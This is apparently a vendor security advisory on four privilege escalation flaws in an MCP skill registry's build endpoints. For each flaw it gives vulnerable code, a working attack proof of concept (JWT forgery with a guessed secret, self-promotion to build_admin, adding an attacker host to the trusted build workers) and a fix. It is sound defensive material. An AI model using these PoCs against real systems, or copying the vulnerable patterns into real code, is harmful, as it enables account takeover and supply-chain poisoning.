← Blog

Claude MCP skill privilege escalation — skill build worker and compilation job management endpoints (SA-SKL-PRIVESC51)

SA-SKL-PRIVESC51 identifies four privilege escalation vulnerabilities in MCP skill registry skill build worker and compilation job management endpoints. JWT claim–based build admin level grants cancel-any-build capability; missing level boundary check allows self-assignment to build_admin; unowned global build config modification changes trusted build worker identities and timeout policies; and cache key collision bleeds build admin status across build policy version upgrades.

SA-SKL-PRIVESC51 findings at a glance
CRITICALPRIVESC51-001 — build worker access level read from JWT buildWorkerLevel claim without database verification; craft JWT with buildWorkerLevel:'build_admin' grants cancel-any-build, modify build configurations, and access all build worker secrets and environment variables
HIGHPRIVESC51-002 — POST /api/build/worker/access missing level boundary check; any authenticated build user assigns build_admin level to themselves; fix: requireSession; BUILD_LEVEL_ORDER ordinal comparison; Zod BuildLevelSchema; audit log
HIGHPRIVESC51-003 — PATCH /api/registry/build/config missing ownership check; any authenticated user modifies global build configuration including trusted build worker identities and build timeout policies; fix: require build_admin level; Zod BuildConfigSchema; audit log with before/after diff
HIGHPRIVESC51-004 — build worker access level cache key uses userId without buildPolicyVersionId; stale build_admin cache entries survive policy downgrades and version upgrades; fix: cache key = buildPolicyVersionId:userId; invalidate cache on policy upgrade

PRIVESC51-001 — JWT buildWorkerLevel claim grants build_admin without database verification

The build worker management middleware reads the user's build access level from the buildWorkerLevel claim embedded in the JWT access token, rather than querying the authoritative database record. JWT access tokens are signed but their claims are not independently verified against the database on each request. An attacker who obtains any valid JWT — including their own legitimately-issued token with buildWorkerLevel:'build_user' — can decode it, modify the buildWorkerLevel claim to 'build_admin', and re-sign it using a known or guessable signing key. If the registry uses a symmetric JWT secret that is shared across services, any service with knowledge of the secret can forge tokens for any other service's endpoints.

With a forged build_admin JWT, the attacker gains the ability to cancel any in-flight build job for any skill publisher in the registry, triggering denial-of-service on competitors' release pipelines; read and modify global build worker configuration including the list of trusted build worker host identities and worker-to-skill assignment policies; access the build worker secrets endpoint which returns environment variables and signing credentials for each registered build worker; and promote their own build jobs to the highest priority queue, displacing legitimate builds and monopolizing build worker capacity.

Vulnerable
// PRIVESC51-001 — VULNERABLE
function requireBuildAdmin(req, res, next) {
  const token = req.headers.authorization?.split(' ')[1];
  if (!token) return res.status(401).json({ error: 'No token' });
  const payload = jwt.verify(token, process.env.JWT_SECRET);
  // VULNERABLE: build level read from JWT claim — attacker crafts token with build_admin
  if (payload.buildWorkerLevel !== 'build_admin') {
    return res.status(403).json({ error: 'Build admin required' });
  }
  req.buildUser = payload;
  next();
}

router.delete('/api/build/jobs/:jobId',
  requireBuildAdmin,
  async (req, res) => {
    await db.buildJobs.destroy({ where: { id: req.params.jobId } });
    res.json({ ok: true });
  }
);

Attack PoC — PRIVESC51-001: The attacker forges a JWT with an elevated buildWorkerLevel claim. The middleware trusts the claim without verifying against the database, granting build admin access.

// PRIVESC51-001 — ATTACK PoC
const jwt = require('jsonwebtoken');

// Attacker knows or has guessed JWT_SECRET (e.g., weak default 'secret')
const forgedToken = jwt.sign(
  {
    userId: 'attacker-user-id',
    email: 'attacker@evil.com',
    buildWorkerLevel: 'build_admin', // escalated claim
    iat: Math.floor(Date.now() / 1000),
    exp: Math.floor(Date.now() / 1000) + 3600,
  },
  'secret' // guessed or leaked JWT secret
);

// Cancel any build job using forged build_admin token
fetch('https://registry.example.com/api/build/jobs/victim-build-job-uuid', {
  method: 'DELETE',
  headers: { Authorization: `Bearer ${forgedToken}` },
})
  .then(r => r.json())
  .then(data => console.log('Build cancelled:', data));
Fixed
// PRIVESC51-001 — FIXED
async function requireBuildAdmin(req, res, next) {
  const token = req.headers.authorization?.split(' ')[1];
  if (!token) return res.status(401).json({ error: 'No token' });
  let payload;
  try {
    payload = jwt.verify(token, process.env.JWT_SECRET, { algorithms: ['HS256'] });
  } catch { return res.status(401).json({ error: 'Invalid token' }); }
  // FIXED: always verify level from authoritative database — never trust JWT claim alone
  const buildAccess = await db.buildWorkerAccess.findOne({
    where: { userId: payload.userId },
    attributes: ['level', 'revokedAt'],
  });
  if (!buildAccess || buildAccess.revokedAt || buildAccess.level !== 'build_admin') {
    return res.status(403).json({ error: 'Build admin required' });
  }
  req.buildUser = { userId: payload.userId, level: buildAccess.level };
  next();
}

router.delete('/api/build/jobs/:jobId',
  requireBuildAdmin,
  async (req, res) => {
    const job = await db.buildJobs.findOne({ where: { id: req.params.jobId } });
    if (!job) return res.status(404).json({ error: 'Not found' });
    await job.update({ status: 'cancelled', cancelledByUserId: req.buildUser.userId });
    await db.auditLog.create({ type: 'build.cancelled', jobId: job.id, actorId: req.buildUser.userId });
    res.json({ ok: true });
  }
);

PRIVESC51-002 — Missing level boundary check allows self-assignment to build_admin

The POST /api/build/worker/access endpoint allows users to request a build access level assignment. The endpoint authenticates the caller but does not compare the requested level against the caller's current level to enforce a boundary: any user at any level can request any level, including levels higher than their own. An attacker who registers as a standard build user submits a request assigning themselves build_admin. Because the endpoint processes the assignment without checking whether the caller has the authority to grant that level, the escalation succeeds. The correct pattern is to enforce that a user can only request levels at or below their current level, and that level promotions above their current level require approval by an existing build_admin.

Vulnerable
// PRIVESC51-002 — VULNERABLE
router.post('/api/build/worker/access',
  requireSession, // only checks session exists — no level check
  async (req, res) => {
    const { targetLevel } = req.body;
    // VULNERABLE: no comparison against caller's current level — anyone assigns build_admin
    await db.buildWorkerAccess.upsert({
      userId: req.session.userId,
      level: targetLevel,
    });
    res.json({ ok: true, level: targetLevel });
  }
);

Attack PoC — PRIVESC51-002: Any authenticated build user sends a single POST to elevate themselves to build_admin. No existing admin approval is required.

// PRIVESC51-002 — ATTACK PoC
// Attacker is authenticated as standard build_user
fetch('https://registry.example.com/api/build/worker/access', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json', 'Cookie': 'session=build_user_session' },
  body: JSON.stringify({
    targetLevel: 'build_admin', // self-assignment to highest level
  }),
})
  .then(r => r.json())
  .then(data => console.log('Escalated to:', data.level)); // build_admin
Fixed
// PRIVESC51-002 — FIXED
const BUILD_LEVEL_ORDER = { build_guest: 0, build_user: 1, build_lead: 2, build_admin: 3 };

router.post('/api/build/worker/access',
  requireSession,
  async (req, res) => {
    const parsed = z.object({ targetUserId: z.string().uuid(), targetLevel: BuildLevelSchema })
      .safeParse(req.body);
    if (!parsed.success) return res.status(422).json({ error: parsed.error.issues });
    const { targetUserId, targetLevel } = parsed.data;
    // FIXED: caller must be build_admin to promote others; cannot self-promote
    const callerAccess = await db.buildWorkerAccess.findOne({ where: { userId: req.session.userId } });
    if (!callerAccess || callerAccess.level !== 'build_admin') {
      return res.status(403).json({ error: 'Only build_admin can assign build levels' });
    }
    // FIXED: ordinal boundary — cannot grant higher than caller's own level
    if (BUILD_LEVEL_ORDER[targetLevel] > BUILD_LEVEL_ORDER[callerAccess.level]) {
      return res.status(403).json({ error: 'Cannot grant level higher than own level' });
    }
    await db.buildWorkerAccess.upsert({ userId: targetUserId, level: targetLevel });
    await db.auditLog.create({
      type: 'buildAccess.assigned',
      targetUserId,
      targetLevel,
      actorId: req.session.userId,
    });
    res.json({ ok: true, level: targetLevel });
  }
);

PRIVESC51-003 — Unowned global build config modification changes trusted worker identities

The PATCH /api/registry/build/config endpoint accepts modifications to the global build configuration document. The endpoint requires an authenticated session but does not verify that the caller holds the build_admin level before applying the update. Any authenticated user — including a standard skill publisher with no elevated build permissions — can modify the global build configuration. The global build config contains the list of trusted build worker host identities (the set of hostnames and public keys the registry trusts to execute builds), build timeout policies, the maximum artifact size per skill, and the list of allowed base images for containerized builds.

An attacker who modifies the trusted build worker identities can add their own controlled host to the trusted list, causing the registry to accept build results — including signed artifact attestations — from the attacker's machine. The attacker's build worker can then submit malicious build outputs for any skill in the registry, with those outputs carrying the registry's attestation signature because the attacker's host is now a trusted build worker. Modifying the allowed base image list to include a compromised image allows the attacker to poison every future containerized build job that uses that base image.

Vulnerable
// PRIVESC51-003 — VULNERABLE
router.patch('/api/registry/build/config',
  requireSession, // only verifies session — no build_admin level check
  async (req, res) => {
    const { trustedWorkerIdentities, buildTimeoutMs, maxArtifactSizeBytes } = req.body;
    // VULNERABLE: any authenticated user overwrites global build config
    await db.buildConfig.update(
      { trustedWorkerIdentities, buildTimeoutMs, maxArtifactSizeBytes },
      { where: { id: 'global' } }
    );
    res.json({ ok: true });
  }
);

Attack PoC — PRIVESC51-003: A standard skill publisher adds their controlled host to the trusted build worker identities list, then submits build results from that host as if they were a trusted build worker.

// PRIVESC51-003 — ATTACK PoC
// Step 1: add attacker's host to trusted build workers
fetch('https://registry.example.com/api/registry/build/config', {
  method: 'PATCH',
  headers: { 'Content-Type': 'application/json', 'Cookie': 'session=publisher_session' },
  body: JSON.stringify({
    trustedWorkerIdentities: [
      'worker-1.internal',  // existing legitimate worker
      'attacker.evil.com',  // attacker-controlled host added
    ],
    buildTimeoutMs: 999999, // also disable timeout for stealth
  }),
})
  .then(r => r.json())
  .then(data => console.log('Config modified:', data));
// Step 2: submit malicious build results from attacker.evil.com
// Registry accepts them because attacker.evil.com is now a trusted worker
Fixed
// PRIVESC51-003 — FIXED
router.patch('/api/registry/build/config',
  requireSession,
  requireBuildAdmin, // FIXED: build_admin level required for global config mutations
  async (req, res) => {
    const parsed = BuildConfigSchema.safeParse(req.body);
    if (!parsed.success) return res.status(422).json({ error: parsed.error.issues });
    const before = await db.buildConfig.findOne({ where: { id: 'global' } });
    await db.buildConfig.update(parsed.data, { where: { id: 'global' } });
    const after = await db.buildConfig.findOne({ where: { id: 'global' } });
    // FIXED: audit log with full before/after diff for security review
    await db.auditLog.create({
      type: 'buildConfig.updated',
      actorId: req.buildUser.userId,
      before: before.toJSON(),
      after: after.toJSON(),
    });
    // FIXED: notify all build_admin users of global config change
    await notifyBuildAdmins('buildConfig.updated', { actorId: req.buildUser.userId });
    res.json({ ok: true });
  }
);

PRIVESC51-004 — Build access level cache key bleeds across policy version upgrades

The build worker access level lookup is cached in Redis using only userId as the cache key. When the registry upgrades its build policy version — for example, to revoke all existing build_admin assignments as part of a security incident response or a policy restructure — the cache entries keyed by userId alone remain valid and continue to return the old level. A user who held build_admin under the previous policy version retains effective build_admin access for up to the cache TTL (typically 300 seconds) after the policy upgrade removes their elevated access. In a security incident where the registry is revoking compromised admin accounts, this TTL window means the attacker continues to have build admin capabilities for up to five minutes after the revocation is applied.

The same bleed applies in the opposite direction: if a policy upgrade grants build_admin to new users, those users may receive stale lower-level cache entries for the TTL period after the upgrade. And because the cache key does not include any version identifier, a cache poisoning attack that plants a crafted cache entry for a target user will survive across policy upgrades until the TTL expires, since the upgrade does not invalidate cache entries it cannot identify.

Vulnerable
// PRIVESC51-004 — VULNERABLE
const ACCESS_CACHE_TTL = 300; // 5 minutes

async function getBuildAccessLevel(userId) {
  // VULNERABLE: cache key is userId only — no policy version — bleeds across upgrades
  const cacheKey = `buildAccess:${userId}`;
  const cached = await redis.get(cacheKey);
  if (cached) return cached; // stale build_admin level survives policy downgrade
  const access = await db.buildWorkerAccess.findOne({ where: { userId } });
  const level = access?.level ?? 'build_guest';
  await redis.setex(cacheKey, ACCESS_CACHE_TTL, level);
  return level;
}

// Called by requireBuildAdmin middleware — policy downgrade takes 300s to propagate
async function requireBuildAdmin(req, res, next) {
  const level = await getBuildAccessLevel(req.session.userId);
  if (level !== 'build_admin') return res.status(403).json({ error: 'Forbidden' });
  next();
}

Attack PoC — PRIVESC51-004: An attacker whose build_admin access is revoked as part of a security incident response continues to have build admin capabilities for up to 300 seconds due to the stale cache entry, with no policy-version invalidation mechanism.

// PRIVESC51-004 — ATTACK SCENARIO
// 1. Attacker has build_admin; registry detects compromise and revokes at T=0
//    db.buildWorkerAccess updated: level = 'build_guest' for attacker
// 2. Cache key is still 'buildAccess:attacker-user-id' = 'build_admin'
// 3. Attacker continues to call build admin endpoints successfully for ~300s
//    because getBuildAccessLevel() returns cached 'build_admin' level
// 4. At T=300s the cache expires and the revocation finally takes effect
// 5. During those 300s the attacker can: cancel builds, read secrets,
//    modify global build config — all logged under their legitimate user ID

// Policy upgrade also doesn't flush old cache entries:
// admin runs: db.buildPolicyVersion.create({ version: 'v2', ... })
// but all existing Redis keys 'buildAccess:userId' still have v1 levels
// new policy rules don't apply until each user's individual TTL expires
Fixed
// PRIVESC51-004 — FIXED
const ACCESS_CACHE_TTL = 60; // FIXED: strict 60s TTL — reduced blast radius

async function getCurrentBuildPolicyVersionId() {
  // Cached for 10s — cheap to refresh; version changes are infrequent
  const cached = await redis.get('buildPolicyVersion:current');
  if (cached) return cached;
  const policy = await db.buildPolicyVersion.findOne({ order: [['createdAt', 'DESC']] });
  await redis.setex('buildPolicyVersion:current', 10, policy.id);
  return policy.id;
}

async function getBuildAccessLevel(userId) {
  // FIXED: cache key includes policy version — stale entries auto-invalidate on upgrade
  const policyVersionId = await getCurrentBuildPolicyVersionId();
  const cacheKey = `buildAccess:${policyVersionId}:${userId}`;
  const cached = await redis.get(cacheKey);
  if (cached) return cached;
  const access = await db.buildWorkerAccess.findOne({ where: { userId } });
  const level = access?.revokedAt ? 'build_guest' : (access?.level ?? 'build_guest');
  await redis.setex(cacheKey, ACCESS_CACHE_TTL, level);
  return level;
}

// On policy upgrade: flush all build access cache entries for this policy
async function onBuildPolicyUpgrade(newPolicyVersionId) {
  // Invalidate the version pointer — all per-user entries auto-miss on next request
  await redis.del('buildPolicyVersion:current');
  await redis.set('buildPolicyVersion:current', newPolicyVersionId, 'EX', 10);
  await db.auditLog.create({ type: 'buildPolicy.upgraded', newVersionId: newPolicyVersionId });
}

SkillAudit detection: The scanner identifies PRIVESC51 patterns using four AST query classes: jwt.verify( calls where the returned payload's privilege field is used directly in a middleware guard without a subsequent database lookup; route handlers containing /access in build paths where the request body level is applied without an ordinal boundary check against the caller's current level; db.buildConfig.update( calls on handlers that do not precede with a build_admin level check; and Redis setex( or set( calls on access-level cache keys that do not include a policy version identifier. Submit your MCP skill registry codebase to SkillAudit for a full audit report.

Related: CORS misconfiguration in MCP skill version signing and release attestation endpoints • All advisories